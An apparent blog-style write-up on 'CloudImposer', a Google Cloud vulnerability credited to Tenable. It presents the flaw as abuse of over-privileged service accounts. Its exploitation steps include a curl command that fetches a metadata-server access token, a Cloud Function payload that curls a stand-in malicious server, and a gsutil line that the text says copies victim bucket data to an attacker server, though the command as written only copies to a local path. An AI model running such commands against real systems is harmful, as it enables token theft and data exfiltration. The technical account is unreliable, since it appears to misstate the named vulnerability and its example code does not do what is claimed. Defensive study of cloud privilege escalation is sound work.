CloudImposer : A Google Cloud Vulnerability by Tenable

 1. Vulnerability Description: CloudImposer is a critical Remote Code Execution (RCE) vulnerability identified in Google Cloud Platform (GCP). The flaw arises from the complex orchestration patterns within GCP, where multiple services are stacked and interact through various APIs and service accounts. The vulnerability exploits weaknesses in the permission model and service dependencies, allowing an attacker to impose malicious code execution across different services within a GCP environment. 2. Attack Vector:  The attack primarily targets the following components: - Service Accounts: In GCP, service accounts are used to authenticate and authorize services to perform actions on other services. CloudImposer leverages service accounts with overly broad permissions, such as those configured with roles like `roles/owner`, `roles/editor`, or other high-privilege roles. These service accounts can be exploited to perform actions beyond their intended scope.  Inter-Service Communication: GCP services, such as Cloud Functions, App Engine, and Compute Engine, often interact with each other through APIs. These interactions typically involve passing OAuth tokens or IAM roles, which, if misconfigured, can be used to escalate privileges or execute arbitrary commands.    3. Exploitation Mechanism: Step 1: Discovery of Misconfigured Service Accounts:  The attacker begins by identifying service accounts with excessive permissions. This can be done through techniques like cloud metadata API exploitation, where the attacker gains access to the metadata server of a compromised instance to list the attached service accounts and their roles. curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" Step 2: Privilege Escalation: Once the attacker identifies a service account with elevated permissions, they exploit this account to execute commands or deploy malicious Cloud Functions. These functions can be triggered to perform actions on other services within the GCP environment.

Example Python code exploiting GCP's Cloud Functions def execute_malicious_code(event, context): import os #Malicious payload os.system("curl http://malicious.server/exploit")

Step 3: Lateral Movement:  After establishing a foothold, the attacker can move laterally within the cloud environment. For instance, they could use the compromised Cloud Function to access Cloud Storage, deploy further malicious code on Compute Engine instances, or extract sensitive data from BigQuery.  #Example of accessing Cloud Storage using compromised credentials  gsutil cp gs://victim_bucket/sensitive_data /malicious_server   4. Potential Impact:  - Data Exfiltration: The attacker can access and exfiltrate sensitive data from various GCP services, including Cloud Storage, BigQuery, and Databases. 

- Service Disruption: By injecting malicious code, the attacker can disrupt critical services, leading to significant downtime and operational losses. 

- Account Takeover: Exploiting IAM roles, the attacker could gain control over GCP projects, enabling them to modify configurations, delete resources, or escalate their attack further. 

- Persistence: The attacker could establish persistent backdoors by creating new service accounts or deploying hidden Cloud Functions that trigger automatically based on events or schedules.    Mitigation:  Enforce Least Privilege: Ensure that service accounts are granted only the permissions necessary for their function. Avoid using broad roles like `roles/owner` unless absolutely necessary. 

Audit and Monitoring: Regularly audit IAM policies and service account roles. Implement real-time monitoring to detect anomalous activities, such as unusual service account behavior or unauthorized API calls. 

Strong Access Controls: Utilize multi-factor authentication (MFA) and strong access controls for managing service accounts, especially those with elevated privileges 

Security Patches: Apply security patches and updates to GCP services promptly to mitigate known vulnerabilities and prevent exploitation of similar flaws.    CloudImposer is a highly sophisticated and dangerous vulnerability due to its ability to exploit the interconnected nature of cloud services in GCP. It highlights the critical need for robust cloud security practices, including strict IAM configurations, regular security audits, and continuous monitoring to protect against such complex attack vectors. The potential impact on Google could be severe, affecting both their infrastructure and the security of their users globally.